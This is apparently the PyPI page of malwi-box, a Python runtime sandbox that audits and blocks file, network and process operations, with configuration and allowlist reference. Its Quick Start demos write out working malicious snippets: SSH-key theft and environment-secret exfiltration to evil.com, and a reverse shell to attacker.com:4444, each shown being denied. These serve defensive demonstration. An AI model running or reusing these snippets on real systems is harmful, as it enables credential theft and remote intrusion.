Skip to main content

Intercept, audit, and block critical Python operations at runtime

Project description

malwi-box logo

malwi-box

Intercept, audit, and block critical Python operations at runtime.

Shipped without any dependencies, except pip

malwi-box demo

Use Cases

  • 🔬 Malware analysis - Safely detonate suspicious Python code and observe its behavior
  • 📦 Dependency auditing - Discover what file, network, and process access a package actually needs
  • 🔒 Runtime protection - Enforce allowlists to block unauthorized operations in production

Warning: This tool is not executed in isolation or virtualization, it runs on your actual machine, kernel and CPU. Use it at your own risk. Still it allows to reduce the blast radius of typical Python malware.

Installation

pip install malwi-box

Or with uv:

uv tool install malwi-box

Quick Start

Credential theft - Malware reads SSH keys and sends them to attacker:

$ malwi-box eval --review "
import os, urllib.request
key = open(os.path.expanduser('~/.ssh/id_rsa')).read()
urllib.request.urlopen('https://evil.com/steal', key.encode())
"
[malwi-box] Read file: /Users/you/.ssh/id_rsa
Approve? [Y/n/i]: n
Denied

Reverse shell - Malware connects to attacker's C2 server:

$ malwi-box eval --review "
import socket, subprocess
s = socket.socket()
s.connect(('attacker.com', 4444))
subprocess.call(['/bin/sh', '-i'], stdin=s.fileno(), stdout=s.fileno())
"
[malwi-box] Connect: attacker.com:4444
Approve? [Y/n/i]: n
Denied

Data exfiltration - Malware encodes and uploads environment secrets:

$ malwi-box eval --review "
import os, base64, urllib.request
secrets = base64.b64encode(str(os.environ).encode())
urllib.request.urlopen('https://evil.com/upload', secrets)
"
[malwi-box] Base64: b64encode (<string>:3)
[malwi-box] HTTP POST: https://evil.com/upload
Approve? [Y/n/i]: n
Denied

Commands

run

Run a Python script or module with sandboxing.

malwi-box run script.py [args...]
malwi-box run --force script.py     # log violations without blocking
malwi-box run --review script.py    # approve/deny each operation

eval

Execute a Python code string with sandboxing.

malwi-box eval "print('hello')"
malwi-box eval --force "import os; os.system('id')"
malwi-box eval --review "open('/etc/passwd').read()"

pip install

Install pip packages with sandboxing. Most malware packages perform malicious activities at install-time.

malwi-box pip install package
malwi-box pip install package --version 1.2.3
malwi-box pip install -r requirements.txt
malwi-box pip install --review package # approve/deny each operation

venv

Create a sandboxed virtual environment. The venv's Python binaries are replaced with the malwi-box wrapper, so all code executed in the venv is automatically sandboxed.

malwi-box venv                    # creates .venv
malwi-box venv --path myenv       # custom path
malwi-box venv --config FILE      # use custom config

After creation, activate and use normally:

source .venv/bin/activate
python script.py                  # sandboxed automatically
pip install requests              # install scripts are sandboxed

config

Manage configuration.

malwi-box config create # creates .malwi-box.toml
malwi-box config create --path FILE

Configuration Reference

Config file: .malwi-box.toml

# File access permissions
allow_read = [
  "$PWD",                     # working directory
  "$PYTHON_STDLIB",           # Python standard library
  "$PYTHON_SITE_PACKAGES",    # installed packages
  "$HOME/.config/myapp",      # specific config directory
  "/etc/hosts",               # specific file
]

allow_create = [
  "$PWD",                     # allow creating files in workdir
  "$TMPDIR",                  # allow temp files
]

allow_modify = [
  "$PWD/data",                # only modify files in data/
  { path = "/etc/myapp.conf", hash = "sha256:abc123..." },
]

allow_delete = [
  "$TMPDIR",                  # allow temp cleanup
  "$PIP_CACHE",               # allow pip cache cleanup
]

# Network permissions
allow_domains = [
  "pypi.org",                 # allow any port
  "files.pythonhosted.org",
  "api.example.com:443",      # restrict to specific port
]

allow_ips = [
  "10.0.0.0/8",               # CIDR notation
  "192.168.1.100:8080",       # specific IP:port
  "[::1]:443",                # IPv6 with port
]

# HTTP URL path restrictions (empty = block all)
allow_http_urls = [
  "$PYPI_DOMAINS/*",              # use variable for PyPI URLs
  "api.example.com/v1/*",         # glob pattern for paths
  "cdn.example.com/assets/*",
  "https://secure.example.com/*", # explicit scheme
]

# HTTP methods allowed (empty = block all)
allow_http_methods = ["$ALL_HTTP_METHODS"]  # variable for all standard methods

# Raw socket access (default: false, blocks SOCK_RAW creation)
allow_raw_sockets = false

# Process execution
allow_executables = [
  "/usr/bin/git",             # allow by path
  "$PWD/.venv/bin/*",         # glob pattern
  { path = "/usr/bin/curl", hash = "sha256:abc123..." },
]

allow_shell_commands = [
  "/usr/bin/git *",           # glob pattern matching
  "/usr/bin/curl *",
]

# Environment variables (empty = block all)
allow_env_var_reads = ["$SAFE_ENV_VARS"]  # variable for safe env vars

Variables

Variables can be used in config values and are expanded at runtime.

Variable Expands To
Path variables
$PWD Working directory
$HOME User home directory
$TMPDIR System temp directory (macOS: /var/folders/.../T, Linux: /tmp)
$CACHE_HOME User cache directory (macOS: ~/Library/Caches, Linux: ~/.cache)
$PIP_CACHE pip cache directory
$VENV Active virtualenv root (if $VIRTUAL_ENV is set)
$PYTHON_STDLIB Python standard library
$PYTHON_SITE_PACKAGES Installed packages (purelib)
$PYTHON_PLATLIB Platform-specific packages
$PYTHON_USER_SITE User site-packages (~/.local/lib/pythonX.Y/site-packages)
$PYTHON_PREFIX Python installation prefix
List variables Expand to multiple values
$PYPI_DOMAINS pypi.org, files.pythonhosted.org
$LOCALHOST 127.0.0.1, ::1, localhost
$ALL_HTTP_METHODS GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS
$SAFE_ENV_VARS PATH, HOME, USER, SHELL, TERM, LANG, LC_ALL, LC_CTYPE, PWD, OLDPWD, TMPDIR, TMP, TEMP, PYTHONPATH, VIRTUAL_ENV, CONDA_PREFIX, SOURCE_DATE_EPOCH
$OS_SYSTEM OS system paths (macOS: /System, /Library, /usr/lib, /usr/share; Linux: /usr/lib, /usr/share, /lib, /lib64)

List variables can be combined with patterns: $PYPI_DOMAINS/* expands to pypi.org/*, files.pythonhosted.org/*.

Allowlist Behavior

All allow_* attributes consistently block when empty. Use variables to document what's being allowed:

Attribute Empty Behavior Default
allow_read Block all $PWD, $PYTHON_PREFIX, $PYTHON_STDLIB, $PYTHON_SITE_PACKAGES, $PYTHON_PLATLIB, $PYTHON_USER_SITE, $PIP_CACHE, $TMPDIR, $CACHE_HOME, $OS_SYSTEM
allow_create Block all $PWD, $TMPDIR, $PIP_CACHE, $PYTHON_USER_SITE, $PYTHON_SITE_PACKAGES
allow_modify Block all $TMPDIR, $PIP_CACHE, $PYTHON_USER_SITE, $PYTHON_SITE_PACKAGES
allow_delete Block all $PWD, $TMPDIR, $PIP_CACHE, $PYTHON_USER_SITE, $PYTHON_SITE_PACKAGES
allow_domains Block all $PYPI_DOMAINS
allow_ips Block all $LOCALHOST
allow_http_urls Block all $PYPI_DOMAINS/*
allow_http_methods Block all $ALL_HTTP_METHODS
allow_executables Block all (none)
allow_shell_commands Block all (none)
allow_env_var_reads Block all $SAFE_ENV_VARS

Network Behavior

  • Domains in allow_domains automatically permit their resolved IPs
  • Direct IP access requires explicit allow_ips entries
  • CIDR notation supported for IP ranges
  • Port restrictions supported for both domains and IPs

HTTP Request Interception

Supported libraries:

  • urllib.request (stdlib)
  • http.client (stdlib)
  • urllib3
  • requests
  • httpx
  • aiohttp

URL allowlisting:

  • If allow_http_urls is empty, all HTTP requests are blocked
  • Default uses $PYPI_DOMAINS/* to allow pip install
  • Requests must match both domain AND URL pattern
  • Scheme (http://, https://) is optional in patterns - omit to match both
  • Glob patterns supported for paths: api.example.com/v1/*
  • Subdomain matching: example.com/api/* matches api.example.com/api/*

Method restrictions:

  • If allow_http_methods is empty, all HTTP requests are blocked
  • Default uses $ALL_HTTP_METHODS to allow all standard methods
  • If configured, only listed methods are permitted (e.g., ["GET", "HEAD"])

Bypass note: Raw socket HTTP requests bypass library hooks but are blocked by default (allow_raw_sockets = false). The socket.connect event still captures all connections at the network level.

Hash Verification

Executables and files can include SHA256 hashes:

allow_executables = [
  { path = "/usr/bin/git", hash = "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" },
]

Information Events

Some operations are logged for auditing but never blocked. They help identify potentially suspicious behavior during program analysis:

Event Description Example Output Malware Indicator
encoding.base64 Base64 encode/decode Base64: b64encode Payload obfuscation
encoding.hex Hex encode/decode Hex: hexlify Payload obfuscation
encoding.zlib zlib compress/decompress Zlib: compress Packed payloads
encoding.gzip gzip compress/decompress Gzip: compress Packed payloads
encoding.bz2 bz2 compress/decompress Bz2: compress Packed payloads
encoding.lzma lzma/xz compress/decompress LZMA: compress Packed payloads
crypto.cipher Low-level cipher ops Cipher: Encrypt Generic encryption
crypto.fernet Fernet encryption Fernet: encrypt Symmetric encryption
crypto.hmac HMAC keyed hashing HMAC: new C2 authentication
crypto.rsa RSA key operations RSA: generate (2048 bits) Ransomware key exchange
crypto.aes AES encryption AES: init (CBC) File encryption
crypto.chacha20 ChaCha20 encryption ChaCha20: init Modern symmetric encryption
secrets.token Secure token generation SecureRandom: 32 bytes Key generation
pickle.find_class Class during unpickling Pickle: builtins.list Code execution
marshal.loads Loading bytecode Marshal: loads Bytecode injection
shutil.unpack_archive Archive extraction Unpack: file.zip -> /tmp Zip bombs, path traversal
os.putenv Set environment variable Set env var: PATH=/tmp Env manipulation
os.unsetenv Unset environment variable Unset env var: DEBUG Env manipulation

Bypass Protection

  • Blocks sys.addaudithook to prevent registering competing hooks
  • Blocks sys.settrace and sys.setprofile to prevent debugger-based evasion
  • Blocks ctypes.dlopen by default to prevent loading native code that bypasses hooks

Limitations

  • Audit hooks cannot be bypassed from Python, but native code can
  • Here it is important to review which executables are allow-listed

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

malwi_box-0.0.14.tar.gz (70.8 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

malwi_box-0.0.14-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (102.3 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

malwi_box-0.0.14-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (99.7 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

malwi_box-0.0.14-cp313-cp313-macosx_11_0_arm64.whl (4.9 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

malwi_box-0.0.14-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (99.8 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

malwi_box-0.0.14-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (97.0 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

malwi_box-0.0.14-cp312-cp312-macosx_11_0_arm64.whl (5.0 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

malwi_box-0.0.14-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (100.0 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

malwi_box-0.0.14-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (97.3 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

malwi_box-0.0.14-cp311-cp311-macosx_11_0_arm64.whl (4.7 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

malwi_box-0.0.14-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (100.0 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64manylinux: glibc 2.5+ x86-64

malwi_box-0.0.14-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl (97.4 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ i686manylinux: glibc 2.5+ i686

malwi_box-0.0.14-cp310-cp310-macosx_11_0_arm64.whl (3.7 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

File details

Details for the file malwi_box-0.0.14.tar.gz.

File metadata

  • Download URL: malwi_box-0.0.14.tar.gz
  • Upload date:
  • Size: 70.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for malwi_box-0.0.14.tar.gz
Algorithm Hash digest
SHA256 8f20bdd1947531d50b0c9a14e5fb371819a86db4f1b179549b4c9df408847665
MD5 a0df2fc5c3f1c4764123ce3d670d8047
BLAKE2b-256 6a22e6a173a524e9c4cef04d0afcd525ddb408fdae19fc933695af1bb893b6b4

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14.tar.gz:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 46abda3e23350f3b3cfe1e54c0153b2bf3a8a8710350091650d46b239bf74aa7
MD5 eb1ef370776c95f0adb25bfdbed04b68
BLAKE2b-256 fc079ef9f57974c921bfe6d1d5b2a76fa6bf97559caa426c08c940efb990158f

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 9c507344f927db448d6afee171cb2e9f1d706570fcc5b2f7ff53820b605070a2
MD5 74a65247759ba51bec7316e704981062
BLAKE2b-256 bba383d11dede2c7c6668c5a2eb976ee4324cd01a926209fbda0bdc339c7ecf7

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 c12e9cd368007f6b6d2464e8fe8915040e5078523b60b1a34f56bca2d7b0f86a
MD5 e4d9adacae02db56c19339c60338a2ce
BLAKE2b-256 5e26ef4b5ac08ebd94f2e09ededb8efc730f71c9791fc298d459ed6fdd959422

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp313-cp313-macosx_11_0_arm64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 f0cd0582ad70600b3bdbabd7d6db6730c6bf9d74ac27b000c0ae14bc3dedad13
MD5 de882b30848fd226d0b7f94747b4f318
BLAKE2b-256 f2550b6b87f45e358cf62d8b8fbac915645d44b083a748c59686fcee5b640e27

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 cee61ba5559b58ac0b41f8d8e4a30fc52ff0c98ba115615b7da29462ad7572a9
MD5 7d16997d76c8953d229fdc06007b3ef8
BLAKE2b-256 3ce3726daee59e461f1f20ecde3305b06a84938258c48e1b997d7d59157c2ae5

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 b573f97998b9155004efcfd912b44c34e43fbe9d71ee5fc80383d52d953518ec
MD5 3339dd7b5e177321fb528491c7d6aa41
BLAKE2b-256 c69bace3f301814b73043f3bff3907868fea2f77ac4e1b193b5b5bef8be3a591

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp312-cp312-macosx_11_0_arm64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 293ab4a8e1454566d99a904d45b7c616f00d784d17a44283bbb1879483d6b1fb
MD5 915cb1cbf7aee567152e7c42fe810f44
BLAKE2b-256 6faa6c3c30d6bdcf4b4af1212e9eecfcb6f8fdeb3597d797558ab2f3de8efcea

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 ac1e30796db6af9a4641951b29f11ac507a0fe78c8327710f3faea180349bde0
MD5 75ebd7f221a4fc549c9d9f4574aad9cf
BLAKE2b-256 7a83503a7116e3c89f84b373e8eef5e02fab240d942d4519afeddd645eb22d1c

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 fbae872c3f491dfcb4389329df0e22618151caf804e092db6727ae22752f4bd8
MD5 16519e203f460cfe980a594648cb2b27
BLAKE2b-256 d14cf2bcac1f06d1d90f116a3ce8e021ed671cf8f04db21764b090fcc0a4e401

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp311-cp311-macosx_11_0_arm64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 346e1e78237a1ccc0d71c05bb13863cd17282024a31f985a316b999573415f91
MD5 6b2bdc3e7beb34730a5320540ddef6c4
BLAKE2b-256 75f1940a0078b61e6998923fa9a43f4874d1943181be2e8f6ac1f643415b3cf9

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
Algorithm Hash digest
SHA256 a164f6ae83665ce024a79c435f462c2deaea6f9840287dc372f5910ecf937d92
MD5 f178c8494e2b7f0caf86bf326b0f743a
BLAKE2b-256 838620470384c9a57a2d2e3e6164b1ec1c661397daf15fcef2d84809bf4d50f6

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file malwi_box-0.0.14-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for malwi_box-0.0.14-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 f9276d227b7f0ed5f38948a3643ee21d6af3cfeffb87b78dcca8002ac4e59c3b
MD5 b7cedc715032c9fd8887036fdd16bddb
BLAKE2b-256 54bde4fb474deba67b11739a6b1c541c98246860741edd9c03c9e237f3f2b937

See more details on using hashes here.

Provenance

The following attestation bundles were made for malwi_box-0.0.14-cp310-cp310-macosx_11_0_arm64.whl:

Publisher: publish.yml on canvascomputing/malwi-box

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page